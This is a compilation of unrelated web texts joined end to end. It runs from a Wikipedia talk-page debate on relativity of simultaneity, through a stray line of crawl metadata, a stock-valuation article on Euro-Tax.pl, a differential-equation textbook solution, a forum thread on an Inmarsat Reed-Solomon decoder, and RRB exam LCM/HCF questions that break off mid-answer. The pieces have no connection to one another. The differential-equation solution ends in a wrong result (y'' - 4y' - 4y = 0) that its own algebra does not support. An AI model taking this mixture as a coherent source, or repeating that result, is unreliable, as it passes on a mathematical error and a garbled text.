The page you refer to here is a slightly different thought experiment in which the specified location of the observers is used to simplify the argument (but is not essential to the physics).
I'll make another argument to support this view. Think of there being several observers on the train, at different places on the train. They are all in the same inertial frame, and so they all agree that the light hits the ends of the train at the same time, as they agree on the time of all events. Just consider the Lorentz transformation with v=0 if you disagree with this statement. If you still disagree, then I think you are confusing time of visual perception of events including light travel time from the events to the observer, with the 'observed' time of events, for which this is accounted for. (Observers at different distances from a lightening strike see and hear the lightening and thunder at different times, but they all agree that the events themselves were simultaneous.) So, all observers on the train agree the events are simultaneous wherever they are standing. All observers on the platform agree that the events are not simultaneous wherever they are standing, and they agree on the delta-t between the events. Thus is cannot matter which specific observers we choose for our thought experiment, provided one is on the train, and one on the platform. Therefore, we need not specify the observers' locations.
A related argument from Lorentz transformations. Take two events, and use the Lorentz transforms to transform the measured time interval between the events from one inertial frame to another to get
\begin{align} \delta t' &= \gamma \left( \delta t - v \delta x/c^{2} \right) \\ \end{align}
Note that the transformation of the time interval between the frames depends on the separation of the events in the unprimed frame, but not on the absolute positions of the events which is the thing that changes when we change the position of the unprimed observer. Only the relative velocity of the two observers and the separation of the events determines the disagreement in elapsed time between event. Relative position of the observers is not a factor.
A last point. This wiki page is not alone in making misleading statements that I am arguing against. Many web sites, and many text books (mostly at high school level) also make these errors, probably from a misguided attempt to simplify what is a hard subject to grasp. Higher level texts such as at university level are mostly more precise, and I'd suggest that such texts are the only place to check our understanding, rather than other webpages or wikis. I'd recommend the text book Griffiths, Introduction to Electrodynamics. For the record, I'm a university lecturer teaching Special Relativity at second year undergraduate level. — Preceding unsigned comment added by 137.111.13.200 (talkcontribs)
Sure, indeed in Griffiths' intro to electrodynamics "the lamp is equidistant from the two ends", and the "observers" could be anywhere, one somewhere on the train and riding along with the lamp, another standing on the ground, or if you like, looking at figures 12.4 and 12.5 on page 484 (in my edition). In Einstein's quoted text, which lies at the basis of the text in this article, the train observer (M') coincides with the lamp, whereas the ground observer (M) is a person standing at the place where the light flash is emitted. Here you see the difference between the modern "observer" concept as a reference frame, and the common day-to-day "observer" as a person making observations — see also our article Observer (special relativity). The day-to-day way is how the original thought experiment was described, and also the way it was done in this text, to, as you say, "simplify the argument". It is after all, as the article says (with proper and relevant references), "a popular picture", and as such I don't see anything wrong with that. DVdm (talk) 23:18, 5 November 2011 (UTC)
I actually said that in the slightly-different Einstein thought experiment here the observers are put centred to simplify the example. But that is a different thought experiment to the one presented on this page, a fact acknowledged in the History section of the present article, and so we should not be blindly including constraints from that experiment here if they are not required. In the thought experiment on the present page, which is a valid variation of Einstein's original, observer locations are not part of the logic, and it is a mistaken attempt to simplify the experiment by introducing unnecessary constraints that actually encourages people to misunderstand the nature of the simultaneity issue - which is a physical reality, and not just an issue of visual perception. As you say, Griffiths, in his wisdom, in his presentation of this thought experiment correctly does not specify locations for the observers, just frames; I'm not sure why the fact that Griffiths does this does not convince you that Wiki can and should omit it too.
Look at the spacetime diagrams for the thought experiment adjacent to the Lorentz Transformation section. These show the light flash occurring at an arbitrary positive x (and an arbitrary positive t for that matter), showing that the x-position of the flash in each frame (i.e. the location of the flash relative to each observer) is of no consequence. It then seems strange to specify a specific observer location in the preceeding section when a different and arbitrary location is used in these diagrams.
I accept that there is a distinction between the modern 'reference frame' observer, and the day-to-day concept. However, it is implicitly the reference frame observer that is invoked in this version of the thought experiment (e.g. no observer, or photons travelling from events to observers, are drawn in the train diagrams; spacetime diagrams are used that are implicitly reference frame tools), whereas it is the day-to-day observer that was used in Einstein's original version (with explicit consideration of light travel time from events to observers). This is exactly why the Einstein version requires the locations of the observers to be specified, and this version does not. Since the locations are not required here, it can only confuse to include them.
Thanks for chatting, and apologies for neglecting to sign the previous posts. If I haven't convinced you (or others?) yet, I think I will never succeed, so I will leave it at that. Congrats anyhow on an (otherwise) excellent treatment of SR in general.
137.111.13.200 (talk) 03:10, 6 November 2011 (UTC)
I agree. The thought experminent in the text differs from the diagrams'. I objected to your edit because it changed one version to the other while leaving the referenced sources untouched, which is what we call wp:original research. I wouldn't mind if you would rework the text (and/or the diagrams), but the sources should reflect the changes — or rather, the new text (and/or diagrams) should reflect the content of the new sources. Cheers - DVdm (talk) 11:00, 6 November 2011 (UTC)
OK. It's just a referencing problem. There are actually no sources quoted in the text right now for this thought experiment, just refs 1, 2, and 3 that are stated to be similar experiments (but not identical and so we might expect differences). I suggest that the solution is to also reference a text book with this exact thought experiment (e.g. Griffiths), as well as these current references. This should ensure that everything is suitably verifiable. 60.225.54.95 (talk) 21:14, 7 November 2011 (UTC)
I'd like to suggest adding a "Further Reading" section to this entry. One proposed reading would be the following:
• Craig, William Lane and Smith, Quentin (Editors) (2008): Einstein, Relativity and Absolute Simultaneity. Routledge, London and New York. ISBN13: 978-0-415-70174-7.
However, being a relatively inexperienced editor, I'm not sure of the correct way to do this. Any help from more experienced hands would be appreciated. Thanks. JCNSmith (talk) 02:45, 8 March 2012 (UTC)
I don't think this is a good candidate for further reading, as it is mainly philosophical, and rather fringy. For instance, on page 5 it says: "Apart from leaving unaddressed the epistemolocial and semantic presuppositions of STR, there is an even stronger factor behind physicists' unwillingness to abandon the Special Theory. [...] In fact, there is a theory that is not merely observationally equivalent to the Special Theory, but also observationally superior to it, namely Lorentzian or neo-Lorentzian theory..." On page 6: "It may be concluded that the main reasons why many physicists still hold to Special Relativity are (1) an insuficient awareness of the epistemological and other philosophical problems with Special Relativity; [...]" - etc... There's also an essay by fringe scientist Tom Van Flandern. - DVdm (talk) 08:22, 8 March 2012 (UTC)
Thanks for your comments. I agree that the quality of essays in the book I recommended is uneven, but I found enough of interest in it to think it might be worthwhile for those interested in the topic. Regardless of whether the book I mentioned is included in a "Further Reading" section or not, however, I certainly think the topic merits having a Further Reading section of its own! Perhaps you could recommend some other, more worthy readings to populate such a section? Thanks. JCNSmith (talk) 20:21, 8 March 2012 (UTC)
I had a look at the other related articles on consequences of special relativity (Time dilation, Length contraction, Velocity-addition formula, Mass–energy equivalence) to see how it's done overthere. It looks like none of them has a further reading section. I guess the reason is that in each case the references section is pretty rich already and provides ample reading material. Having had a look at the guideline Wikipedia:Further reading, I think the reason is indeed clear. As these subjects are pretty narrow, it's hard to find book material that is sufficiently topical (per subsection 1.1). The Craig collection doesn't qualify on topicality either, as there's more on quantum stuff than on this article's subject. Furthermore, as becomes quite clear from the introduction of the book, the authors have an agenda based on a fringe view on special relativity, which certainly makes it insufficiently balanced (per subsection 1.3). I guess, if you're looking for good reading, there's some really good pointers in the ref list. - DVdm (talk) 21:32, 8 March 2012 (UTC)
Thanks for the guidance. As noted, I'm relatively inexperienced at this, so appreciate your insight and pointers to Wiki policy/guidance on the use of Further Reading sections. JCNSmith (talk) 03:33, 9 March 2012 (UTC)
## 2nd Paragraph Illustration
Something is wrong with this sentence (from 2nd para. of article): "Where an event occurs in a single place–for example, a car crash–all observers will agree that both cars arrived at the point of impact at the same time." First of all, it is postulated that "an event occurs," and since you can't attribute the property of simultaneity to a single event (at least two events are required for the property of simultaneity to come into being), we're off on the wrong foot. We then are meant to visualize a car crash, which again is a single event, but which *by definition* requires two things in the same place at the same time, i.e., the fact that there was an impact *requires* there to have been the simultaneous arrival of two things at the same place and time (overlapping space and time: hmm, yep, requires simultaneity already). It is thus a tautological endorsement because the postulation of a wreck requires there to have been two things in the same place and time for all reference frames. In other words, it begs the question about simultaneity being relative, and therefore shouldn't be used to illustrate relative simultaneity.
It seems to me one would somehow have to illustrate two different things happening (in a physics sense involving states of particles and fields, etc.) simultaneously at the same point to evoke the desired comparison to the space-separated case, but I'm not sure anyone can come up with a proper example of such a thing. Perhaps there is a quantum mechanical angle here. I'm out of my depth. I do hold to the above (logical, not physics) objection, though. Chafe66 (talk) 07:41, 14 May 2012 (UTC)
Yes, it looks like this is caused by a tendency to identify an event with its definition. If one defines event_A with definition_A ("car_A arrives at crossroads X") and event_B with definition_B ("car_B arrives at crossroads X"), then we have in fact two different definitions for one event, and we have that event_A = event_B, although definition_A ≠ definition_B. We can even add a third definition: "car_A and car_B crash at crossroads X". Tricky. Perhaps we could add one word ("distinct") in the preceding sentence: ... whether two distinct events occur at the same time..., and then remove the car crash sentence altogether. I also think there's a style problem with the sentence: the car crash is a dashed example, but the main sentence uses the cars from that example. - DVdm (talk) 08:52, 14 May 2012 (UTC)
Sounds good. But I don't really think the issue has to do with definitions and reference. Consider thinking of "car_A arrives at crossroads X" as simply naming an event rather than defining it. Now from philosophy of language, we know that the quoted phrase has a sense and a reference. The reference is the event itself, and the sense (the "meaning") of the phrase has to do with an automotive type object appearing in reference to an intersection of paths, etc. These are different things (one involves mass and energy, etc., the other is a linguistic entity) and aren't really being confused here (in my opinion). To use your terminology, my objection is this: the meaning of "Car_A arrived at CRs X at the same time as car_B arrived at CRs X" logically entails that there was a crash and the meaning of "there was a car crash between car_A and car_B at CRs X" logically entails the former phrase. They have the same reference, but, as in your example, different meanings. So either 1) if one event happened then two more events happened or 2) if two events happened then a third event happened. I'm sure the list goes on. "Metal was bent in such and such a way" could be added to probably an infinite list. But they all describe a single event--in a certain sense. And if we pick the single event as the canonical representation of "what happened" then it begs the question about simultaneity at a single location. But that has me wondering if one can even conceive of examples where two distinct things (there's your word) could happen at the same place and time. What kind of example would it be if not something like the car crash example?Chafe66 (talk) 09:38, 14 May 2012 (UTC)
I don't really care about the difference between, like you say, "naming an event rather than defining it". In this context the difference is not important. Let's just get rid of the sentence, unless of course we have a proper source for it. Lacking such a source we can dump it as someone's original research. I'd go ahead and wp:boldly do it. - DVdm (talk) 10:13, 14 May 2012 (UTC)
I would, but I honestly wouldn't know what to change it to. I can't think of an example involving a single location that makes sense as an illustration of possible non-simultaneity! I.e., in order for the example to work, the events described at a single location would have to be conceivably not simultaneous, and events happening successively at a particular location already assumes they're not simultaneous...sigh.Chafe66 (talk) 18:22, 14 May 2012 (UTC)
I don't think we have to change it. Let's just dump it. Ok, I went ahead and dit it. We'll see where it gets us. Good catch, by the way! - DVdm (talk) 18:33, 14 May 2012 (UTC)
:) Cheers. Thanks for all your work on this article, and being so open to discussion. Chafe66 (talk) 18:46, 14 May 2012 (UTC)
"Where an event occurs in a single place–for example, a car crash–all observers will agree that both cars arrived at the point of impact at the same time." ~ There are two distinct kinds of simultaneity of position: 1) causal, and 2) observational. A crash is causal simultaneity. Observational simultaneity requires separation of events that are observed to be simultaneous from some locations but not from others. Location, relative velocity, and relative acceleration of the observer determine what is (actually! if you really think about it, is) simultaneous. BlueMist (talk) 08:59, 14 May 2012 (UTC)
But this example has to do with, first, the fact that an event happened *at* a single location, and the notion of where observers are is invoked afterward. What is first postulated is observerless. Something happened independently of whether anyone observed it at all, let alone their relative locations. My point has to do with the logical entailing of each other of "crash" and "car_A arriving at X at the same time as car_B." The postulation of a crash requires (unless one thinks a crash can have occurred wrt one reference frame and not another, which breaks some accepted law I'm sure) that this alleged 'simultaneous' event of two things arriving at the same place and time also occurred. So it can't have been otherwise if there was a crash; so I think "crash" should be left out of it altogether. But that raises another issue. See above...Chafe66 (talk) 09:38, 14 May 2012 (UTC)
Here's another way of putting it: the very notion of simultaneity requires the notion of sameness of time and place, particularly now that relativity has shown how we need to think about temporality when one event happens in location A and another event happens in distinct location B. If we can't talk about being in the same place at a given time, then we don't even know what "two events being simultaneous" could possibly mean. Therefore, we can't use any single event at a given place as an example of simultaneity (either causal or observational). Why not? Because if a given thing happening at a given time means something else happened at that same time and place, then those things could not have been unsimultaneous, by the definition of whatever that event is. And that doesn't help in terms of what's needed in order to contrast with the coming example (in the article) explaining simultaneity's being relative.Chafe66 (talk) 10:11, 14 May 2012 (UTC)
No, it doesn't. A crash is a single event without separation, so it looks the same from everywhere. But two separated events may or may not, seemingly and actually, *be* simultaneous depending on the location, velocity, and acceleration of the observational frame of reference. This concept is extremely counter-intuitive. Space-time is not a fixed Newtonian construct. Simultaneity of two events is relative, see [1]. ~ BlueMist (talk) 00:13, 16 May 2012 (UTC)
We're talking about different things. My subject has to do with logic and the example of a single event as being helpful or meaningful. You are talking about principles of physics. You're taking the example as given, and moving from there. I'm not taking the example as given, i.e., not accepting it as saying anything other than what is required by logic (it's true "by definition"), hence it (example of crash) is not a case in point of a physical principle. It's required definitionally, and nothing can be concluded from such statements.Chafe66 (talk) 07:34, 16 May 2012 (UTC)
Aristotelian logic of either-or cannot be applied to relativity of simultaneity. The same pair of events separated in space are both simultaneous and not simultaneous. Even at the same time, if time is properly adjusted by the speed of light. This is not an illusion, but a demonstrable reality. Again, see wikibooks for a more detailed explanation[2]. The point is that Aristotelian logic fails in all cases of physical relativity.
The single event example is used in contrast. But if a pair of events are gradually merged, then the single event becomes just a special case of a more general law. As far as I am concerned, you can take it or leave it. ~ BlueMist (talk) 11:20, 16 May 2012 (UTC)
Yes, let's leave it, unless there's something notable, interesting and properly sourced to add to the article. Otherwise this is just off-topic chat per our wp:talk page guidelines. - DVdm (talk) 11:31, 16 May 2012 (UTC)
## Lead promotes a philosophical bias
"In physics, the relativity of simultaneity is the concept that distant simultaneity – whether two spatially separated events occur at the same time – is not absolute, but depends on the observer's reference frame. According to the special theory of relativity, it is impossible to say in an absolute sense whether two distinct events occur at the same time if those events are separated in space, such as a car crash in London and another in New York. The question of whether the events are simultaneous is relative: in some reference frames the two accidents may happen at the same time, in other frames (in a different state of motion relative to the events) the crash in London may occur first, and in still other frames the New York crash may occur first."
The bias is that simultaneity "depends on the observer's reference frame." I will give an example where that is clearly not the case. A split-beam laser is fired at two targets on the Moon, separated by whatever distance. The beams leave the laser at the same instant when it is fired and travel at the same velocity (c), so therefore they arrive at the two targets simultaneously. That (thought experimental)fact is established. Now introduce two observational frames, passing through the Earth/Moon system. Each will observe the targets to be struck by the beams at different times. The point is that the above assumed philosophy, that simultaneity depends on the observers' reference frames does not change the established simultaneity of strikes hitting the two targets, separated by whatever distance on the moon's surface. The assumption upon which the lead statements are based endorses a philosophy which absolutely precludes the possibility of events happening simultaneously independently from when they are observed from different frames. My example illustrates that such an assumption is false. LCcritic (talk) 21:19, 1 December 2013 (UTC)
Alas, on article talk pages we are not allowed to discuss our own philosophical, psychological, or even scientific views and musings about the subjects of our articles — see wp:talk page guidelines. This was explained to you before in the discussions at
I have now left a 3rd level warning on your talk page. DVdm (talk) 08:02, 2 December 2013 (UTC)
## Effects
Since the length of an object is the distance from head to tail at one simultaneous moment, it follows that if two observers disagree about what events are simultaneous then they will also disagree on the length of objects.
If a line of clocks appear synchronized to a stationary observer and appear to be out of sync to that same observer after accelerating to a certain velocity then it follows that during the acceleration the clocks ran at different speeds. Some may even run backwards. This line of reasoning leads to general relativity.
Just granpa (talk) 21:00, 4 April 2014 (UTC)
Please note that article talk pages are for discussions about the article, not about the subject. See wp:talk page guidelines. - DVdm (talk) 09:06, 5 April 2014 (UTC)
## The train-and-platform thought experiment
A naive question. This thought experiment assumes that observers in both the train car frame and the platform frame agree that the flash of light is emitted at the midpoint of the train car. But why should this be true?
For example, if in the platform frame, the light flash occurs at a point (1-β)/2 behind the front of the car (assuming the car has length 1 in the platform frame and β is the dimensionless velocity v/c) then in the platform frame the light flashes will arrive simultaneously at each end of the car, just as in the car frame.
I don't understand how the postulates of special relativity (equivalence of physical laws and light speed in all frames) prohibit this possibility. Jeffrw (talk) 07:32, 27 July 2014 (UTC)
The middlepoints are taken because it makes the calculation trivial, and to precisely demonstrate the point of ROS—see the literature. If you don't understand something about it, the place to ask is our wp:reference desk/science. Here, per wp:talk page guidelines, we are supposed to discuss the article, not the content. Good luck at the refdesk. - DVdm (talk) 09:27, 27 July 2014 (UTC) | 6,296 | 28,569 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 1, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2014-52 | latest | en | 0.958002 |
https://simplywall.st/stocks/pl/commercial-services/wse-etx/euro-taxpl-shares/news/heres-what-euro-tax-pl-s-a-s-wseetx-p-e-ratio-is-telling-us/ | 1,597,116,392,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439738727.76/warc/CC-MAIN-20200811025355-20200811055355-00006.warc.gz | 497,719,924 | 15,254 | # Here’s What Euro-Tax.pl S.A.’s (WSE:ETX) P/E Ratio Is Telling Us
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This article is for investors who would like to improve their understanding of price to earnings ratios (P/E ratios). We’ll apply a basic P/E ratio analysis to Euro-Tax.pl S.A.’s (WSE:ETX), to help you decide if the stock is worth further research. Based on the last twelve months, Euro-Tax.pl’s P/E ratio is 7.17. That is equivalent to an earnings yield of about 14%.
### How Do You Calculate A P/E Ratio?
The formula for price to earnings is:
Price to Earnings Ratio = Price per Share ÷ Earnings per Share (EPS)
Or for Euro-Tax.pl:
P/E of 7.17 = PLN3.86 ÷ PLN0.54 (Based on the year to March 2019.)
### Is A High Price-to-Earnings Ratio Good?
A higher P/E ratio implies that investors pay a higher price for the earning power of the business. That isn’t necessarily good or bad, but a high P/E implies relatively high expectations of what a company can achieve in the future.
### How Growth Rates Impact P/E Ratios
Companies that shrink earnings per share quickly will rapidly decrease the ‘E’ in the equation. That means unless the share price falls, the P/E will increase in a few years. A higher P/E should indicate the stock is expensive relative to others — and that may encourage shareholders to sell.
Notably, Euro-Tax.pl grew EPS by a whopping 29% in the last year. And its annual EPS growth rate over 5 years is 32%. So we’d generally expect it to have a relatively high P/E ratio. Unfortunately, earnings per share are down 10% a year, over 3 years.
### How Does Euro-Tax.pl’s P/E Ratio Compare To Its Peers?
The P/E ratio essentially measures market expectations of a company. We can see in the image below that the average P/E (18.4) for companies in the professional services industry is higher than Euro-Tax.pl’s P/E.
This suggests that market participants think Euro-Tax.pl will underperform other companies in its industry. Since the market seems unimpressed with Euro-Tax.pl, it’s quite possible it could surprise on the upside. You should delve deeper. I like to check if company insiders have been buying or selling.
### Remember: P/E Ratios Don’t Consider The Balance Sheet
The ‘Price’ in P/E reflects the market capitalization of the company. So it won’t reflect the advantage of cash, or disadvantage of debt. The exact same company would hypothetically deserve a higher P/E ratio if it had a strong balance sheet, than if it had a weak one with lots of debt, because a cashed up company can spend on growth.
Such spending might be good or bad, overall, but the key point here is that you need to look at debt to understand the P/E ratio in context.
### So What Does Euro-Tax.pl’s Balance Sheet Tell Us?
Euro-Tax.pl has net cash of zł9.5m. This is fairly high at 49% of its market capitalization. That might mean balance sheet strength is important to the business, but should also help push the P/E a bit higher than it would otherwise be.
### The Verdict On Euro-Tax.pl’s P/E Ratio
Euro-Tax.pl’s P/E is 7.2 which is below average (10.8) in the PL market. Not only should the net cash position reduce risk, but the recent growth has been impressive. The relatively low P/E ratio implies the market is pessimistic.
Investors should be looking to buy stocks that the market is wrong about. As value investor Benjamin Graham famously said, ‘In the short run, the market is a voting machine but in the long run, it is a weighing machine.’ We don’t have analyst forecasts, but you might want to assess this data-rich visualization of earnings, revenue and cash flow.
Of course, you might find a fantastic investment by looking at a few good candidates. So take a peek at this free list of companies with modest (or no) debt, trading on a P/E below 20.
We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material.
If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. | 1,027 | 4,470 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2020-34 | latest | en | 0.932786 |
https://philoid.com/question/35714-in-each-of-the-question-form-a-differential-equation-representing-the-given-family-of-curves-by-eliminating-arbitrary-constants- | 1,695,646,973,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233508977.50/warc/CC-MAIN-20230925115505-20230925145505-00406.warc.gz | 501,037,330 | 10,517 | ## Book: Mathematics Part-II
### Chapter: 9. Differential Equations
#### Subject: Maths - Class 12th
##### Q. No. 4 of Exercise 9.3
Listen NCERT Audio Books - Kitabein Ab Bolengi
4
##### In each of the question, form a differential equation representing the given family of curves by eliminating arbitrary constants a and b.y = e2x (a + bx)
It is given y = e2x(a + bx) -------(1)
Now, differentiating both side w.r.t. x, we get,
y’ = 2e2x(a + bx) + e2x.b ------(2)
Now, let us multiply equation (1) with 2 and then subtracting it to equation (2), we get,
y’ – 2y = e2x(2a +2bx + b) – e2x(2a + 2bx)
y’ – 2y = be2x ---------(3)
Now, again differentiating both sides w.r.t. x, we get,
y” – 2y’ = 2be2x ------(4)
Dividing equation (4) by equation (3), we get,
y” – 2y’ = 2y’ – 4y
y” – 4y’ – 4y = 0
Therefore, the required differential equation is y” – 4y’ - 4y = 0.
4
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12 | 340 | 909 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.5 | 4 | CC-MAIN-2023-40 | longest | en | 0.754648 |
http://www.thecodingforums.com/threads/inmarsat-reed-solomon-decoder.527472/ | 1,477,160,964,000,000,000 | text/html | crawl-data/CC-MAIN-2016-44/segments/1476988719033.33/warc/CC-MAIN-20161020183839-00299-ip-10-171-6-4.ec2.internal.warc.gz | 734,761,089 | 11,725 | # Inmarsat Reed Solomon decoder
Discussion in 'VHDL' started by naliali, Aug 7, 2007.
1. ### nalialiGuest
Hi there!
I suppose to implement a Reed Solomon decoder for Inmarsat video
unfortunately I couldn't find any useful information on the net about
FEC used in Inmarsat.
- it is over GF(32) by primitive polynomial p(x) = x^5+x^2+1 = 37
- Data length is 15 and parity length is 16, so having RS(31,15, 37)
but the major problem is that I don't know it's generator polynomial
g(x). using default Matlab RS encoder, I found that Matlab uses g(x)
=
(x+a^1)(x+a^2)...(x+a^16) as generator polynomial for rs(31,15). but
I'm not sure it's the same as g(x) which used in Inmarsat standard.
any comment and remark is appreciated
naliali, Aug 7, 2007
2. ### makhanGuest
Hello,
RS Decoder design is an involved process, you need to perform
descrepency analysis, then berlekemp-Messey, Chien-Forney, and finally
exhaustive search to locate and fix the errors in your code. What is
your throughput requirements? And if you want to implement the RS
Decoder, you will have to go through all the above mentioned
algorithms and implement them in a pipeline to maximize throughput.
Now, start the search for papers describing these algos.
Hope this helps
Mak
On Aug 7, 11:36 am, naliali <> wrote:
> Hi there!
> I suppose to implement a Reed Solomon decoder for Inmarsat video
> unfortunately I couldn't find any useful information on the net about
> FEC used in Inmarsat.
> - it is over GF(32) by primitive polynomial p(x) = x^5+x^2+1 = 37
> - Data length is 15 and parity length is 16, so having RS(31,15, 37)
>
> but the major problem is that I don't know it's generator polynomial
> g(x). using default Matlab RS encoder, I found that Matlab uses g(x)
> =
> (x+a^1)(x+a^2)...(x+a^16) as generator polynomial for rs(31,15). but
> I'm not sure it's the same as g(x) which used in Inmarsat standard.
>
> any comment and remark is appreciated
makhan, Aug 13, 2007 | 561 | 1,961 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2016-44 | latest | en | 0.90893 |
https://cracku.in/blog/rrb-group-d-lcm-hcf-questions-pdf/ | 1,721,146,223,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514759.37/warc/CC-MAIN-20240716142214-20240716172214-00474.warc.gz | 161,258,414 | 36,678 | 0
4488
# RRB Group-D LCM & HCF Questions PDF
Download Top 15 RRB Group-D LCM & HCF Questions and Answers PDF. RRB Group-D Maths questions based on asked questions in previous exam papers very important for the Railway Group-D exam.
Question 1: Find the LCM and HCF of 0.25, 0.5, 0.75
a) 1.5, 0.25
b) 2, 1
c) 1.5, 0.5
d) 3, 1
e) None of these
Question 2: Find the HCF of 120, 150,180
a) 30
b) 60
c) 50
d) 10
e) None of these
Question 3: Find the HCF of 1/2 and 3/2
a) 3/2
b) 1/2
c) 1
d) 3
e) None of these
Question 4: Find the least number which is exactly divisible by 12, 15, 20 and 27.
a) 650
b) 520
c) 600
d) 540
e) None of these
Question 5: The HCF of two natural numbers a and b is 7 and a/b = 1.5. What is the value of a*b?
a) 224
b) 1176
c) 294
d) 304
e) None of the above
Question 6: The LCM of two numbers x and y is 20. Find the number of unordered pairs (x,y)?
a) 8
b) 9
c) 7
d) 10
e) None of the above
Question 7: The ratio of two numbers is 5:6. The product of the HCF and LCM of the two numbers is 120. What is the HCF of the two numbers?
a) 2
b) 4
c) 6
d) 8
e) 1
Question 8: The sum of two numbers is 65 and the HCF of the two numbers is 5. If the LCM of the two numbers is 180, what is the sum of the reciprocals of the two numbers?
a) 11/13
b) 11/625
c) 13/625
d) 11/180
e) 13/180
Question 9: The least number which when divided by 3,5 and 7 leaves a remainder 2 and is divisible by 2 is:
a) 212
b) 210
c) 424
d) 106
e) none of the above
Question 10: The two numbers 15 and x have their LCM as 150. If the HCF of two numbers is 5, what could be the value of x?
a) 75
b) 45
c) 30
d) 50
e) 10
Question 11: The two numbers are in the ratio 5:9. If HCF of two numbers is 7, what is the value of the LCM of the numbers?
a) 630
b) 165
c) 315
d) 195
e) None of these
Question 12: The LCM of two numbers is 360, and their HCF is 15. If one of the numbers is 45, what is the value of the remainder when the other number is divided by 7?
a) 1
b) 2
c) 3
d) 4
e) 0
Question 13: Which is the largest number that leaves a same remainder on dividing 640, 960 and 1120
a) 20
b) 40
c) 80
d) 160
e) 320
Question 14: What is the HCF of 221, 323, 391 and 289?
a) 13
b) 17
c) 19
d) 21
e) 23
Question 15: What is the LCM of the following fractions? ⅔, 4/7, 1/4
a) 1
b) 2
c) 4
d) 7
e) 8
LCM of 0.25, 0.5 and 0.75
he given numbers can be written as of 0.25, 0.50 and 0.75
Now ignoring the decimals we find LCM of 25, 50, and 75
5 | 25, 50, 75
5 | 5, 10, 15
| 1, 2, 3
∴ LCM = 1 × 2 × 3 × 5 × 5 = 25 × 6 = 150
LCM = 150.
Similarly we will find out the HCF for 25, 50 and 75.
Since given numbers are not high, we can follow Prime factorization method to get the HCF easily
25 = $5^2$
50 = $2\times5^2$
75 = $3\times5^2$.
As discussed before HCF = $5^2$ = 25.
Now we got LCM = 150 and HCF = 25, now after putting decimal places as per given in the question the LCM = 1.5, and HCF = 0.25.
since given numbers are not high, we can follow Prime factorization method to get the HCF easily
$120 = 2^3 * 3 * 5$
$150 = 2 * 3 * 5^2$
$180 = 2^2 * 3^2 * 5$
In Prime factorization method after converting the numbers into product of prime factors, take the common factors from all the numbers of the least powers.
Therefore HCF is 2 x 3 x 5 = 30
HCF of 1/2 , 3/2 = (HCF of 1 and 3)/(LCM of 2 and 2) = 1/2
Required number
= LCM of 12, 15, 20 and 27 = 540
Let a = hx and b = hy.
h = 7 and x/y = 1.5 = 3/2
So, x = 3 and y = 2
a*b = 21*14 = 294
The pairs of numbers are (1,20), (2,20), (4,20) , (5,20) , (10,20) , (20,20) , (4,5) , (4,10). So, the number of unordered pairs is 8.
Let the two numbers be 5h and 6h where h is the HCF of the numbers. Product of the numbers = Product of LCM and HCF.
=> $30 h^2$ = 120 => h = 2
So, the HCF of the two numbers is 2
Let the numbers be ha and hb. HCF of the numbers = h and LCM of the numbers = hab.
Sum of reciprocals = (a+b)/hab
h(a+b) = 65
h = 5
(a+b) = 13
hab = LCM = 180
So, sum of reciprocals = 13/180
L.C.M of 3,5 and 7 is 105.
Thus, the required number is of the form 105x + 2.
212 is the lowest such number also divisible by 2.
We have learned a formula which says that
LCM*HCF = product of the two numbers.
So 15*x = 150*5
=> x = $\frac{150*5}{15}$ = 50
Let the numbers be 5x and 9x. Now since 5 and nine are co-prime, the HCF of two numbers is x. It is given that HCF is 7, so x = 7.
Thus the required numbers are 35 and 63.
The LCM of 35 and 63 is 7*5*9 = 315
let the second number be x.
We know that LCM*HCF = Product of the two numbers
So 360*15 = x *45
=> x = $\frac{360*15}{45}$
=> x = 120
Now 120 on being divided by 7, leaves a remainder of 1.
From the properties of HCF, we know that
largest number which leaves the same remainder on dividing x, y and z are given by HCF (x-y, y-z, z-x).
Here x = 640, y = 960, z =1120
So the required number is HCF (960-640, 1120-960, 1120-640)
= HCF(320, 160, 480) = 160
So the required number is 160
221 = 17 *13
323 = 17 * 19
391 = 17 * 23
289 = 17 * 17
